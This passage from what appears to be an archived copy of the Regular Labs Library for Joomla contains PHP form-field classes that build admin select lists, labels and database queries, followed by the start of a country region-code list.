$attr .= ' disabled="disabled"';
}
// Initialize JavaScript field attributes.
$attr .= $this->onchange ? ' onchange="' .
$this->onchange . '"' : '';
// Get the field options.
$options = (array) $this->getOptions();
if ((string) $this->readonly == '1' || (string)
$this->readonly == 'true')
{
// Create a read-only list (no name) with a hidden input to store the
value.
$html[] = JHtml::_('select.genericlist', $options,
'', trim($attr), 'value', 'text',
$this->value, $this->id);
$html[] = '<input type="hidden" name="' .
$this->name . '" value="' .
htmlspecialchars($this->value, ENT_COMPAT, 'UTF-8') .
'">';
}
else
{
// Create a regular list.
$html[] = JHtml::_('select.genericlist', $options,
$this->name, trim($attr), 'value', 'text',
$this->value, $this->id);
}
return implode($html);
}
}
fields/loadlanguage.php000064400000002034151165347210011152
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\Language as RL_Language;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_LoadLanguage extends \RegularLabs\Library\Field
{
public $type = 'LoadLanguage';
protected function getLabel()
{
return '';
}
protected function getInput()
{
$extension = $this->get('extension');
$admin = $this->get('admin', 1);
self::loadLanguage($extension, $admin);
return '';
}
function loadLanguage($extension, $admin = 1)
{
if ( ! $extension)
{
return;
}
RL_Language::load($extension, $admin ? JPATH_ADMINISTRATOR : JPATH_SITE);
}
}
fields/menuitems.php000064400000006241151165347210010541 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
use Joomla\Registry\Registry;
use RegularLabs\Library\Language as RL_Language;
use RegularLabs\Library\RegEx as RL_RegEx;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_MenuItems extends \RegularLabs\Library\Field
{
public $type = 'MenuItems';
protected function getInput()
{
$size = (int) $this->get('size');
$multiple = $this->get('multiple', 0);
return $this->selectListAjax(
$this->type, $this->name, $this->value, $this->id,
compact('size', 'multiple')
);
}
function getAjaxRaw(Registry $attributes)
{
$name = $attributes->get('name', $this->type);
$id = $attributes->get('id', strtolower($name));
$value = $attributes->get('value', []);
$size = $attributes->get('size');
$multiple = $attributes->get('multiple');
$options = $this->getMenuItems();
return $this->selectList($options, $name, $value, $id, $size,
$multiple);
}
/**
* Get a list of menu links for one or all menus.
*/
public static function getMenuItems()
{
RL_Language::load('com_modules', JPATH_ADMINISTRATOR);
JLoader::register('MenusHelper', JPATH_ADMINISTRATOR .
'/components/com_menus/helpers/menus.php');
$menuTypes = MenusHelper::getMenuLinks();
foreach ($menuTypes as &$type)
{
$type->value = 'type.' . $type->menutype;
$type->text = $type->title;
$type->level = 0;
$type->class = 'hidechildren';
$type->labelclass = 'nav-header';
$rlu[$type->menutype] = &$type;
foreach ($type->links as &$link)
{
$check1 = RL_RegEx::replace('[^a-z0-9]', '',
strtolower($link->text));
$check2 = RL_RegEx::replace('[^a-z0-9]', '',
$link->alias);
$text = [];
$text[] = $link->text;
if ($check1 !== $check2)
{
$text[] = '<span class="small ghosted">[' .
$link->alias . ']</span>';
}
if (in_array($link->type, ['separator',
'heading', 'alias', 'url']))
{
$text[] = '<span class="label label-info">'
. JText::_('COM_MODULES_MENU_ITEM_' . strtoupper($link->type))
. '</span>';
// Don't disable, as you need to be able to select the 'Also
on Child Items' option
// $link->disable = 1;
}
if ($link->published == 0)
{
$text[] = '<span class="label">' .
JText::_('JUNPUBLISHED') . '</span>';
}
if (JLanguageMultilang::isEnabled() && $link->language !=
'' && $link->language != '*')
{
$text[] = $link->language_image
? JHtml::_('image', 'mod_languages/' .
$link->language_image . '.gif', $link->language_title,
['title' => $link->language_title], true)
: '<span class="label" title="' .
$link->language_title . '">' . $link->language_sef
. '</span>';
}
$link->text = implode(' ', $text);
}
}
return $menuTypes;
}
}
fields/mijoshop.php000064400000006450151165347210010365 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_MijoShop extends \RegularLabs\Library\FieldGroup
{
public $type = 'MijoShop';
public $store_id = 0;
public $language_id = 1;
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories' =>
'category', 'products' => 'product']))
{
return $error;
}
if ( ! class_exists('MijoShop'))
{
require_once(JPATH_ROOT .
'/components/com_mijoshop/mijoshop/mijoshop.php');
}
$this->store_id = (int)
MijoShop::get('opencart')->get('config')->get('config_store_id');
$this->language_id = (int)
MijoShop::get('opencart')->get('config')->get('config_language_id');
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__mijoshop_category AS c')
->join('INNER', '#__mijoshop_category_description AS
cd ON c.category_id = cd.category_id')
->join('INNER', '#__mijoshop_category_to_store AS cts
ON c.category_id = cts.category_id')
->where('c.status = 1')
->where('cd.language_id = ' . $this->language_id)
->where('cts.store_id = ' . $this->store_id)
->group('c.category_id');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('c.category_id AS id, c.parent_id, cd.name AS title,
c.status AS published')
->order('c.sort_order, cd.name');
$this->db->setQuery($query);
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items);
}
function getProducts()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__mijoshop_product AS p')
->join('INNER', '#__mijoshop_product_description AS pd
ON p.product_id = pd.product_id')
->join('INNER', '#__mijoshop_product_to_store AS pts
ON p.product_id = pts.product_id')->where('p.status = 1')
->where('p.date_available <= NOW()')
->where('pd.language_id = ' . $this->language_id)
->group('p.product_id');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$query->clear('select')
->select('p.product_id as id, pd.name, p.model as model, cd.name
AS cat, p.status AS published')
->join('LEFT', '#__mijoshop_product_to_category AS ptc
ON p.product_id = ptc.product_id')
->join('LEFT', '#__mijoshop_category_description AS cd
ON ptc.category_id = cd.category_id')
->join('LEFT', '#__mijoshop_category_to_store AS cts
ON ptc.category_id = cts.category_id')
->where('cts.store_id = ' . $this->store_id)
->where('cd.language_id = ' . $this->language_id)
->where('cts.store_id = ' . $this->store_id)
->order('pd.name, p.model');
$this->db->setQuery($query);
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['model',
'cat', 'id']);
}
}
fields/modules.php000064400000013156151165347210010206 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\HTML\HTMLHelper as JHtml;
use Joomla\CMS\Language\Text as JText;
use RegularLabs\Library\Form as RL_Form;
use RegularLabs\Library\RegEx as RL_RegEx;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Modules extends \RegularLabs\Library\Field
{
public $type = 'Modules';
protected function getInput()
{
JHtml::_('behavior.modal', 'a.modal');
$size = $this->get('size') ? 'style="width:'
. $this->get('size') . 'px"' : '';
$multiple = $this->get('multiple');
$showtype = $this->get('showtype');
$showid = $this->get('showid');
$showinput = $this->get('showinput');
$showlink = ! $multiple ? $this->get('showlink') : false;
// load the list of modules
$query = $this->db->getQuery(true)
->select('m.id, m.title, m.position, m.module, m.published,
m.language')
->from('#__modules AS m')
->where('m.client_id = 0')
->where('m.published > -2')
->order('m.position, m.title, m.ordering, m.id');
$this->db->setQuery($query);
$modules = $this->db->loadObjectList();
// assemble menu items to the array
$options = [];
$selected_title = '';
$p = 0;
foreach ($modules as $item)
{
if ($p !== $item->position)
{
$pos = $item->position;
if ($pos == '')
{
$pos = ':: ' . JText::_('JNONE') . '
::';
}
$options[] = JHtml::_('select.option', '-', '[
' . $pos . ' ]', 'value', 'text', true);
}
$p = $item->position;
$item->title = $item->title;
if ($showtype)
{
$item->title .= ' [' . $item->module . ']';
}
if ($showinput || $showid)
{
$item->title .= ' [' . $item->id . ']';
}
if ($item->language && $item->language != '*')
{
$item->title .= ' (' . $item->language . ')';
}
$item->title = RL_Form::prepareSelectItem($item->title,
$item->published);
$options[] = JHtml::_('select.option', $item->id,
$item->title);
if ($showlink && $this->value == $item->id)
{
$selected_title = $item->title;
}
}
if ($showinput)
{
array_unshift($options, JHtml::_('select.option',
'-', ' ', 'value', 'text',
true));
array_unshift($options, JHtml::_('select.option',
'-', '- ' . JText::_('Select Item') . '
-'));
if ($multiple)
{
$onchange = 'if ( this.value ) { if ( ' . $this->id .
'.value ) { ' . $this->id . '.value+=\',\'; }
' . $this->id . '.value+=this.value; }
this.value=\'\';';
}
else
{
$onchange = 'if ( this.value ) { ' . $this->id .
'.value=this.value;' . $this->id .
'_text.value=this.options[this.selectedIndex].innerHTML.replace(
/^((&|&| )nbsp;|-)*/gm, \'\' ).trim(); }
this.value=\'\';';
}
$attribs = 'class="inputbox" onchange="' .
$onchange . '"';
$html = '<table cellpadding="0"
cellspacing="0"><tr><td style="padding:
0px;">' . "\n";
if ( ! $multiple)
{
$val_name = $this->value;
if ($this->value)
{
foreach ($modules as $item)
{
if ($item->id == $this->value)
{
$val_name = $item->title;
if ($showtype)
{
$val_name .= ' [' . $item->module . ']';
}
$val_name .= ' [' . $this->value . ']';
break;
}
}
}
$html .= '<input type="text" id="' .
$this->id . '_text" value="' . $val_name .
'" class="inputbox" ' . $size . '
disabled="disabled">';
$html .= '<input type="hidden" name="' .
$this->name . '" id="' . $this->id . '"
value="' . $this->value . '">';
}
else
{
$html .= '<input type="text" name="' .
$this->name . '" id="' . $this->id . '"
value="' . $this->value . '"
class="inputbox" ' . $size . '>';
}
$html .= '</td><td style="padding:
0px;"padding-left: 5px;>' . "\n";
$html .= JHtml::_('select.genericlist', $options,
'', $attribs, 'value', 'text', '',
'');
$html .= '</td></tr></table>' .
"\n";
}
else
{
$attr = $size;
$attr .= $multiple ? ' multiple="multiple"' :
'';
$attr .= ' class="input-xxlarge"';
if ($showlink)
{
$link = '\'<a'
. '
href="index.php?option=com_advancedmodules&task=module.edit&id=\'+this.value+\'"'
. ' target="_blank" class="btn
btn-small">\''
. '+\'<span
class="icon-edit"></span>\' '
. '+\'' . JText::_('JACTION_EDIT', true) .
' :\' '
. '+(this.options[this.selectedIndex].text)'
. '+\'</a>\'';
$function = 'document.getElementById(\'module_link_' .
$this->id . '\').innerHTML = \'\';'
. 'if(this.value){'
. 'document.getElementById(\'module_link_' .
$this->id . '\').innerHTML = ' . $link . ';'
. '}';
$attr .= ' onchange="' . $function . '"';
}
$html = JHtml::_('select.genericlist', $options,
$this->name, trim($attr), 'value', 'text',
$this->value, $this->id);
if ($showlink)
{
$link = $this->value
? '<a
href="index.php?option=com_advancedmodules&task=module.edit&id='
. $this->value . '"'
. ' target="_blank" class="btn
btn-small">'
. '<span class="icon-edit"></span> '
. JText::_('JACTION_EDIT') . ': ' .
$selected_title
. '</a>'
: '';
$html .= '<div id="module_link_' . $this->id .
'" class="alert-block">'
. $link
. '</div>';
}
$html = '<div class="input-maximize">' . $html
. '</div>';
}
return RL_RegEx::replace('>\[\[\:(.*?)\:\]\]', '
style="\1">', $html);
}
}
fields/note.php000064400000004566151165347210007510 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Language\Text as JText;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_Note extends \RegularLabs\Library\Field
{
public $type = 'Note';
public function setup(SimpleXMLElement $element, $value, $group = null)
{
$this->element = $element;
$element['label'] =
$this->prepareText($element['label']);
$element['description'] =
$this->prepareText($element['description']);
$element['translateDescription'] = false;
return parent::setup($element, $value, $group);
}
protected function getLabel()
{
if (empty($this->element['label']) &&
empty($this->element['description']))
{
return '';
}
$title = $this->element['label'] ? (string)
$this->element['label'] :
($this->element['title'] ? (string)
$this->element['title'] : '');
$heading = $this->element['heading'] ? (string)
$this->element['heading'] : 'h4';
$description = (string) $this->element['description'];
$class = ! empty($this->class) ? $this->class : '';
$close = (string) $this->element['close'];
$controls = (int) $this->element['controls'];
$class = ! empty($class) ? ' class="' . $class .
'"' : '';
$button = '';
$title = ! empty($title) ? JText::_($title) : '';
$description = ! empty($description) ? JText::_($description) :
'';
if ($close)
{
$close = $close == 'true' ? 'alert' : $close;
$button = '<button type="button"
class="close" data-dismiss="' . $close . '"
aria-label="Close">×</button>';
}
if ($heading && $title)
{
$title = '<' . $heading . '>'
. $title
. '</' . $heading . '>';
}
if ($controls)
{
$title = '<div
class="control-label"><label>'
. $title
. '</label></div>';
$description = '<div class="controls">'
. $description
. '</div>';
}
return '</div><div ' . $class . '>'
. $button
. $title
. $description;
}
protected function getInput()
{
return '';
}
}
fields/onlypro.php000064400000004356151165347210010242 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\Extension as RL_Extension;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_OnlyPro extends \RegularLabs\Library\Field
{
public $type = 'OnlyPro';
protected function getLabel()
{
$label = $this->prepareText($this->get('label'));
$tooltip = $this->prepareText($this->get('description'));
if ( ! $label && ! $tooltip)
{
return '</div><div>' . $this->getText();
}
if ( ! $label)
{
return $tooltip;
}
if ( ! $tooltip)
{
return $label;
}
return '<label class="hasPopover" title="' .
$label . '" data-content="' . htmlentities($tooltip) .
'">'
. $label
. '</label>';
}
protected function getInput()
{
$label = $this->prepareText($this->get('label'));
$tooltip = $this->prepareText($this->get('description'));
if ( ! $label && ! $tooltip)
{
return '';
}
return $this->getText();
}
protected function getText()
{
$text = JText::_('RL_ONLY_AVAILABLE_IN_PRO');
$text = '<em>' . $text . '</em>';
$extension = $this->getExtensionName();
$alias = RL_Extension::getAliasByName($extension);
if ($alias)
{
$text = '<a
href="https://www.regularlabs.com/extensions/' . $extension .
'/features" target="_blank">'
. $text
. '</a>';
}
$class = $this->get('class');
$class = $class ? ' class="' . $class . '"'
: '';
return '<div' . $class . '>' . $text .
'</div>';
}
protected function getExtensionName()
{
if ($extension = $this->form->getValue('element'))
{
return $extension;
}
if ($extension =
JFactory::getApplication()->input->get('component'))
{
return str_replace('com_', '', $extension);
}
if ($extension =
JFactory::getApplication()->input->get('folder'))
{
$extension = explode('.', $extension);
return array_pop($extension);
}
return false;
}
}
fields/plaintext.php000064400000002360151165347220010542 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_PlainText extends \RegularLabs\Library\Field
{
public $type = 'PlainText';
protected function getLabel()
{
$label = $this->prepareText($this->get('label'));
$tooltip = $this->prepareText($this->get('description'));
if ( ! $label && ! $tooltip)
{
return '';
}
if ( ! $label)
{
return '<div>' . $tooltip . '</div>';
}
if ( ! $tooltip)
{
return '<div>' . $label . '</div>';
}
return '<label class="hasPopover" title="' .
$label . '" data-content="' . htmlentities($tooltip) .
'">'
. $label . '</label>';
}
protected function getInput()
{
$text = $this->prepareText($this->value);
if ( ! $text)
{
return '';
}
return '<fieldset class="rl_plaintext">' .
$text . '</fieldset>';
}
}
fields/range.php000064400000002644151165347220007633 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
JFormHelper::loadFieldClass('range');
class JFormFieldRL_Range extends \JFormFieldRange
{
protected $layout = 'range';
protected function getInput()
{
$this->value = (float) ($this->value ?: $this->default);
if ( ! empty($this->max))
{
$this->value = min($this->value, $this->max);
}
if ( ! empty($this->min))
{
$this->value = max($this->value, $this->min);
}
return parent::getInput();
}
protected function getLayoutPaths()
{
$paths = parent::getLayoutPaths();
$paths[] = JPATH_LIBRARIES . '/regularlabs/layouts';
return $paths;
}
protected function getLayoutData()
{
$data = parent::getLayoutData();
// Initialize some field attributes.
$extraData = [
'prepend' => isset($this->element['prepend'])
? (string) $this->element['prepend'] : '',
'append' => isset($this->element['append']) ?
(string) $this->element['append'] : '',
];
return array_merge($data, $extraData);
}
}
fields/redshop.php000064400000006227151165347220010204 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use RegularLabs\Library\DB as RL_DB;
if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
return;
}
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
class JFormFieldRL_RedShop extends \RegularLabs\Library\FieldGroup
{
public $type = 'RedShop';
protected function getInput()
{
if ($error = $this->missingFilesOrTables(['categories' =>
'category', 'products' => 'product']))
{
return $error;
}
return $this->getSelectList();
}
function getCategories()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__redshop_category AS c')
->where('c.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$this->db->setQuery($this->getCategoriesQuery());
$items = $this->db->loadObjectList();
return $this->getOptionsTreeByList($items);
}
function getProducts()
{
$query = $this->db->getQuery(true)
->select('COUNT(*)')
->from('#__redshop_product AS p')
->where('p.published > -1');
$this->db->setQuery($query);
$total = $this->db->loadResult();
if ($total > $this->max_list_count)
{
return -1;
}
$this->db->setQuery($this->getProductsQuery());
$list = $this->db->loadObjectList();
return $this->getOptionsByList($list, ['number',
'cat']);
}
private function getCategoriesQuery()
{
$query = $this->db->getQuery(true)
->select('c.id, c.parent_id, c.name AS title, c.published')
->from('#__redshop_category AS c')
->where('c.published > -1');
if (RL_DB::tableExists('redshop_category_xref'))
{
$query->clear('select')
->select('c.category_id as id, x.category_parent_id AS
parent_id, c.category_name AS title, c.published')
->join('LEFT', '#__redshop_category_xref AS x ON
x.category_child_id = c.category_id')
->group('c.category_id')
->order('c.ordering, c.category_name');
return $query;
}
$query
->group('c.id')
->order('c.ordering, c.name');
return $query;
}
private function getProductsQuery()
{
$query = $this->db->getQuery(true)
->select('p.product_id as id, p.product_name AS name,
p.product_number as number, c.name AS cat, p.published')
->from('#__redshop_product AS p')
->where('p.published > -1')
->join('LEFT', '#__redshop_product_category_xref AS x
ON x.product_id = p.product_id')
->group('p.product_id')
->order('p.product_name, p.product_number');
if (RL_DB::tableExists('redshop_category_xref'))
{
$query->clear('select')
->select('p.product_id as id, p.product_name AS name,
p.product_number as number, c.category_name AS cat, p.published')
->join('LEFT', '#__redshop_category AS c ON
c.category_id = x.category_id');
return $query;
}
$query
->join('LEFT', '#__redshop_category AS c ON c.id =
x.category_id');
return $query;
}
}
fields/regions.txt000064400000453605151165347220010244 0ustar00// Region
codes taken from https://documentation.snoobi.com/region-codes
'--AF' => '','-AF' =>
'Afghanistan',
'AF-01' => 'Afghanistan: Badakhshan',
'AF-02' => 'Afghanistan: Badghis',
'AF-03' => 'Afghanistan: Baghlan',
'AF-30' => 'Afghanistan: Balkh',
'AF-05' => 'Afghanistan: Bamian',
'AF-06' => 'Afghanistan: Farah',
'AF-07' => 'Afghanistan: Faryab',
'AF-08' => 'Afghanistan: Ghazni',
'AF-09' => 'Afghanistan: Ghowr',
'AF-10' => 'Afghanistan: Helmand',
'AF-11' => 'Afghanistan: Herat',
'AF-31' => 'Afghanistan: Jowzjan',
'AF-13' => 'Afghanistan: Kabol',
'AF-23' => 'Afghanistan: Kandahar',
'AF-14' => 'Afghanistan: Kapisa',
'AF-37' => 'Afghanistan: Khowst',
'AF-15' => 'Afghanistan: Konar',
'AF-34' => 'Afghanistan: Konar',
'AF-24' => 'Afghanistan: Kondoz',
'AF-16' => 'Afghanistan: Laghman',
'AF-35' => 'Afghanistan: Laghman',
'AF-17' => 'Afghanistan: Lowgar',
'AF-18' => 'Afghanistan: Nangarhar',
'AF-19' => 'Afghanistan: Nimruz',
'AF-38' => 'Afghanistan: Nurestan',
'AF-20' => 'Afghanistan: Oruzgan',
'AF-21' => 'Afghanistan: Paktia',
'AF-36' => 'Afghanistan: Paktia',
'AF-29' => 'Afghanistan: Paktika',
'AF-22' => 'Afghanistan: Parvan',
'AF-32' => 'Afghanistan: Samangan',
'AF-33' => 'Afghanistan: Sar-e Pol',
'AF-26' => 'Afghanistan: Takhar',
'AF-27' => 'Afghanistan: Vardak',
'AF-28' => 'Afghanistan: Zabol',
'--AL' => '','-AL' =>
'Albania',
'AL-40' => 'Albania: Berat',
'AL-41' => 'Albania: Diber',
'AL-42' => 'Albania: Durres',
'AL-43' => 'Albania: Elbasan',
'AL-44' => 'Albania: Fier',
'AL-45' => 'Albania: Gjirokaster',
'AL-46' => 'Albania: Korce',
'AL-47' => 'Albania: Kukes',
'AL-48' => 'Albania: Lezhe',
'AL-49' => 'Albania: Shkoder',
'AL-50' => 'Albania: Tirane',
'AL-51' => 'Albania: Vlore',
'--DZ' => '','-DZ' =>
'Algeria',
'DZ-34' => 'Algeria: Adrar',
'DZ-35' => 'Algeria: Ain Defla',
'DZ-36' => 'Algeria: Ain Temouchent',
'DZ-01' => 'Algeria: Alger',
'DZ-37' => 'Algeria: Annaba',
'DZ-03' => 'Algeria: Batna',
'DZ-38' => 'Algeria: Bechar',
'DZ-18' => 'Algeria: Bejaia',
'DZ-19' => 'Algeria: Biskra',
'DZ-20' => 'Algeria: Blida',
'DZ-39' => 'Algeria: Bordj Bou Arreridj',
'DZ-21' => 'Algeria: Bouira',
'DZ-40' => 'Algeria: Boumerdes',
'DZ-41' => 'Algeria: Chlef',
'DZ-04' => 'Algeria: Constantine',
'DZ-22' => 'Algeria: Djelfa',
'DZ-42' => 'Algeria: El Bayadh',
'DZ-43' => 'Algeria: El Oued',
'DZ-44' => 'Algeria: El Tarf',
'DZ-45' => 'Algeria: Ghardaia',
'DZ-23' => 'Algeria: Guelma',
'DZ-46' => 'Algeria: Illizi',
'DZ-24' => 'Algeria: Jijel',
'DZ-47' => 'Algeria: Khenchela',
'DZ-25' => 'Algeria: Laghouat',
'DZ-26' => 'Algeria: Mascara',
'DZ-06' => 'Algeria: Medea',
'DZ-48' => 'Algeria: Mila',
'DZ-07' => 'Algeria: Mostaganem',
'DZ-27' => 'Algeria: M\'sila',
'DZ-49' => 'Algeria: Naama',
'DZ-09' => 'Algeria: Oran',
'DZ-50' => 'Algeria: Ouargla',
'DZ-29' => 'Algeria: Oum el Bouaghi',
'DZ-51' => 'Algeria: Relizane',
'DZ-10' => 'Algeria: Saida',
'DZ-12' => 'Algeria: Setif',
'DZ-30' => 'Algeria: Sidi Bel Abbes',
'DZ-31' => 'Algeria: Skikda',
'DZ-52' => 'Algeria: Souk Ahras',
'DZ-53' => 'Algeria: Tamanghasset',
'DZ-33' => 'Algeria: Tebessa',
'DZ-13' => 'Algeria: Tiaret',
'DZ-54' => 'Algeria: Tindouf',
'DZ-55' => 'Algeria: Tipaza',
'DZ-56' => 'Algeria: Tissemsilt',
'DZ-14' => 'Algeria: Tizi Ouzou',
'DZ-15' => 'Algeria: Tlemcen',
'--AD' => '','-AD' =>
'Andorra',
'AD-07' => 'Andorra: Andorra la Vella',
'AD-02' => 'Andorra: Canillo',
'AD-03' => 'Andorra: Encamp',
'AD-08' => 'Andorra: Escaldes-Engordany',
'AD-04' => 'Andorra: La Massana',
'AD-05' => 'Andorra: Ordino',
'AD-06' => 'Andorra: Sant Julia de Loria',
'--AO' => '','-AO' =>
'Angola',
'AO-19' => 'Angola: Bengo',
'AO-01' => 'Angola: Benguela',
'AO-02' => 'Angola: Bie',
'AO-03' => 'Angola: Cabinda',
'AO-04' => 'Angola: Cuando Cubango',
'AO-05' => 'Angola: Cuanza Norte',
'AO-06' => 'Angola: Cuanza Sul',
'AO-07' => 'Angola: Cunene',
'AO-08' => 'Angola: Huambo',
'AO-09' => 'Angola: Huila',
'AO-20' => 'Angola: Luanda',
'AO-17' => 'Angola: Lunda Norte',
'AO-18' => 'Angola: Lunda Sul',
'AO-12' => 'Angola: Malanje',
'AO-14' => 'Angola: Moxico',
'AO-15' => 'Angola: Uige',
'AO-16' => 'Angola: Zaire',
'--AG' => '','-AG' => 'Antigua and
Barbuda',
'AG-01' => 'Antigua and Barbuda: Barbuda',
'AG-03' => 'Antigua and Barbuda: Saint George',
'AG-04' => 'Antigua and Barbuda: Saint John',
'AG-05' => 'Antigua and Barbuda: Saint Mary',
'AG-06' => 'Antigua and Barbuda: Saint Paul',
'AG-07' => 'Antigua and Barbuda: Saint Peter',
'AG-08' => 'Antigua and Barbuda: Saint Philip',
'--AR' => '','-AR' =>
'Argentina',
'AR-01' => 'Argentina: Buenos Aires',
'AR-02' => 'Argentina: Catamarca',
'AR-03' => 'Argentina: Chaco',
'AR-04' => 'Argentina: Chubut',
'AR-05' => 'Argentina: Cordoba',
'AR-06' => 'Argentina: Corrientes',
'AR-07' => 'Argentina: Distrito Federal',
'AR-08' => 'Argentina: Entre Rios',
'AR-09' => 'Argentina: Formosa',
'AR-10' => 'Argentina: Jujuy',
'AR-11' => 'Argentina: La Pampa',
'AR-12' => 'Argentina: La Rioja',
'AR-13' => 'Argentina: Mendoza',
'AR-14' => 'Argentina: Misiones',
'AR-15' => 'Argentina: Neuquen',
'AR-16' => 'Argentina: Rio Negro',
'AR-17' => 'Argentina: Salta',
'AR-18' => 'Argentina: San Juan',
'AR-19' => 'Argentina: San Luis',
'AR-20' => 'Argentina: Santa Cruz',
'AR-21' => 'Argentina: Santa Fe',
'AR-22' => 'Argentina: Santiago del Estero',
'AR-23' => 'Argentina: Tierra del Fuego',
'AR-24' => 'Argentina: Tucuman',
'--AM' => '','-AM' =>
'Armenia',
'AM-01' => 'Armenia: Aragatsotn',
'AM-02' => 'Armenia: Ararat',
'AM-03' => 'Armenia: Armavir',
'AM-04' => 'Armenia: Geghark\'unik\'',
'AM-05' => 'Armenia: Kotayk\'',
'AM-06' => 'Armenia: Lorri',
'AM-07' => 'Armenia: Shirak',
'AM-08' => 'Armenia: Syunik\'',
'AM-09' => 'Armenia: Tavush',
'AM-10' => 'Armenia: Vayots\' Dzor',
'AM-11' => 'Armenia: Yerevan',
'--AU' => '','-AU' =>
'Australia',
'AU-01' => 'Australia: Australian Capital
Territory',
'AU-02' => 'Australia: New South Wales',
'AU-03' => 'Australia: Northern Territory',
'AU-04' => 'Australia: Queensland',
'AU-05' => 'Australia: South Australia',
'AU-06' => 'Australia: Tasmania',
'AU-07' => 'Australia: Victoria',
'AU-08' => 'Australia: Western Australia',
'--AT' => '','-AT' =>
'Austria',
'AT-01' => 'Austria: Burgenland',
'AT-02' => 'Austria: Karnten',
'AT-03' => 'Austria: Niederosterreich',
'AT-04' => 'Austria: Oberosterreich',
'AT-05' => 'Austria: Salzburg',
'AT-06' => 'Austria: Steiermark',
'AT-07' => 'Austria: Tirol',
'AT-08' => 'Austria: Vorarlberg',
'AT-09' => 'Austria: Wien',
'--AZ' => '','-AZ' =>
'Azerbaijan',
'AZ-01' => 'Azerbaijan: Abseron',
'AZ-02' => 'Azerbaijan: Agcabadi',
'AZ-03' => 'Azerbaijan: Agdam',
'AZ-04' => 'Azerbaijan: Agdas',
'AZ-05' => 'Azerbaijan: Agstafa',
'AZ-06' => 'Azerbaijan: Agsu',
'AZ-07' => 'Azerbaijan: Ali Bayramli',
